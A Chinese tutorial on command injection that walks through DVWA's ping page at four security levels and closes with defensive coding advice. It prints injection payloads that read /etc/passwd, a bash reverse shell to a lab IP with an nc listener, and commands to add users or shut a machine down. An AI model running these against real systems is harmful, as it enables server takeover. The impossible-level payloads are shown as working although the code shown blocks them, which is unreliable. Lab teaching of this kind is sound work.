网安系列【5】之命令注入(Command Injection)攻击详解:从入门到实战

文章目录

一 命令注入二 命令注入的常见形式2.1 使用命令分隔符2.2 常用的cmd命令

三 实战案例解析3.1 案例:DVWA命令执行漏洞(low)3.2 案例2:DVWA命令执行漏洞(medium)3.3 案例3:DVWA命令执行漏洞(high)3.4 案例4:DVWA命令执行漏洞(Impossible)

四 防御命令注入4.1 严格输入验证4.2 正确转义参数4.3 最小权限原则4.4 使用安全的API替代

一 命令注入

命令注入(Command Injection)是一种常见的安全漏洞,攻击者能够通过应用程序将恶意系统命令注入到操作系统的命令解释器中执行。简单来说,就是攻击者"欺骗"服务器运行了他们本不该运行的命令。

想象一下,你有一个网站,用户可以输入他们的名字,然后网站会说"你好,[名字]"。如果网站直接将用户输入拼接到系统命令中而不做任何检查,攻击者就可以输入一些特殊字符和命令,让服务器执行任意操作。

命令注入之所以危险,是因为:

直接操作系统层面:成功利用后,攻击者可以执行任意系统命令权限高:通常以Web服务器进程的权限运行,可能是www-data、apache等影响范围大:可能导致数据泄露、系统破坏、成为进一步攻击的跳板隐蔽性强:攻击可以隐藏在正常请求中,不易被发现

二 命令注入的常见形式

攻击者可以使用多种方式注入命令:

2.1 使用命令分隔符

Unix/Linux:

;:顺序执行多个命令|:无论前一个命令是否执行成功,后一个命令将被执行。&:无论前一个命令是否执行成功,后一个命令将被执行。&&:前一个命令成功才执行下一个。||: 前一个命令失败才执行下一个。`:反引号,执行内部命令并将输出替换。$():同上,更现代的写法。

Windows:

&:无论前一个命令是否执行成功,后一个命令将被执行。&&: 前一个成功才执行下一个。||: 前一个失败才执行下一个。|: 无论前一个命令是否执行成功,后一个命令将被执行。%0a: 换行符(URL编码)。

2.2 常用的cmd命令

whoami:查看当前用户名。ipconfig:查看网卡信息。shutdown -s -t 0:关机net user [username][password] /add:增加一个用户名为username密码为password的新用户。type [file_name]:查看filename文件内容。

三 实战案例解析

3.1 案例:DVWA命令执行漏洞(low)

命令注入是如何发生的?命令注入通常发生在应用程序将不可信的用户输入直接传递给系统shell执行时。

假设有一个PHP网站,它允许用户ping一个IP地址:

if( isset( $_POST[ 'Submit' ] ) ) {

// 将输入的ip赋值给变量$target

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix 通过shell

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// Feedback for the end user

echo "

{$cmd}
";

}

?>

攻击者可以输入:8.8.8.8; cat /etc/passwd

实际上执行了两个命令:

ping -c 4 8.8.8.8cat /etc/passwd (显示系统用户信息)

反向shell连接,将建立一个反向shell连接,让攻击者完全控制服务器。127.0.0.1|bash -c 'bash -i >& /dev/tcp/192.168.171.130/666 0>&1'

在192.168.171.130执行nc -lvvp 666打开远程终端,即可尽心操作。

3.2 案例2:DVWA命令执行漏洞(medium)

if( isset( $_POST[ 'Submit' ] ) ) {

// 将输入的内容赋值给变量$target

$target = $_REQUEST[ 'ip' ];

// 如果用户输入内容含有&&或;则将符号删去

$substitutions = array(

'&&' => '',

';' => '',

);

// 删除数组中的任何字符(黑名单)

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 判断操作系统,执行ping命令。

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// 返回执行的结果

echo "

{$cmd}
";

}

?>

只过滤了&&和;,忽略了其他命令分隔符和注入方式,过滤可以被轻易绕过。攻击者可以提交:# 读取系统文件

8.8.8.8 | cat /etc/passwd

127.0.0.1|whoami

3.3 案例3:DVWA命令执行漏洞(high)

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist

$substitutions = array(

'||' => '',

'&' => '',

';' => '',

'| ' => '',

'-' => '',

'$' => '',

'(' => '',

')' => '',

'`' => '',

);

// Remove any of the characters in the array (blacklist).

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows

$cmd = shell_exec( 'ping ' . $target );

}

else {

// *nix

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// Feedback for the end user

echo "

{$cmd}
";

}

?>

8.8.8.8|cat /etc/passwd

127.0.0.1|whoami

3.4 案例4:DVWA命令执行漏洞(Impossible)

// 检查用户是否点击了提交按钮(Submit)

if( isset( $_POST[ 'Submit' ] ) ) {

// 检查Anti-CSRF令牌,防止跨站请求伪造攻击

// 参数:用户提交的token,session中存储的token,验证失败跳转页面

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入的IP地址

$target = $_REQUEST[ 'ip' ];

// 去除可能的反斜杠(防止魔术引号的影响)

$target = stripslashes( $target );

// 将IP地址按点号分割成4个部分(octet)

$octet = explode( ".", $target );

// 检查每个部分是否都是数字,并且总共有4个部分

if( ( is_numeric( $octet[0] ) ) &&

( is_numeric( $octet[1] ) ) &&

( is_numeric( $octet[2] ) ) &&

( is_numeric( $octet[3] ) ) &&

( sizeof( $octet ) == 4 ) ) {

// 如果验证通过,将4个部分重新组合成IP地址字符串

$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// 检测服务器操作系统类型

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// Windows系统 - 执行ping命令(无计数参数)

$cmd = shell_exec( 'ping ' . $target );

}

else {

// Unix/Linux系统 - 执行ping命令,-c 4表示发送4个包

$cmd = shell_exec( 'ping -c 4 ' . $target );

}

// 将命令执行结果输出给用户

echo "

{$cmd}
";

}

else {

// 如果IP地址格式无效,显示错误信息

echo '

ERROR: You have entered an invalid IP.
';

}

}

// 生成Anti-CSRF令牌并存入session

generateSessionToken();

?>

127.0.0.1|dir

127.0.0.1|whoami

四 防御命令注入

4.1 严格输入验证

白名单:只允许已知安全的字符。黑名单:虽然不如白名单有效,但可以过滤常见危险字符。if (!preg_match('/^[a-zA-Z0-9.-]+$/', $input)) {

die("非法输入");

}

4.2 正确转义参数

使用专门的函数来转义shell元字符:

PHP:escapeshellarg()或escapeshellcmd()。Python:shlex.quote()。Java:ProcessBuilder而非直接拼接命令。$ip = escapeshellarg($_GET['ip']);

system("ping -c 4 " . $ip);

4.3 最小权限原则

Web服务器进程应使用最低必要权限。禁止Web用户访问敏感目录。

4.4 使用安全的API替代

例如,用PHP的filter_var()验证IP地址:$ip = $_GET['ip'];

if (filter_var($ip, FILTER_VALIDATE_IP)) {

system("ping -c 4 " . escapeshellarg($ip));

} else {

die("无效IP地址");

}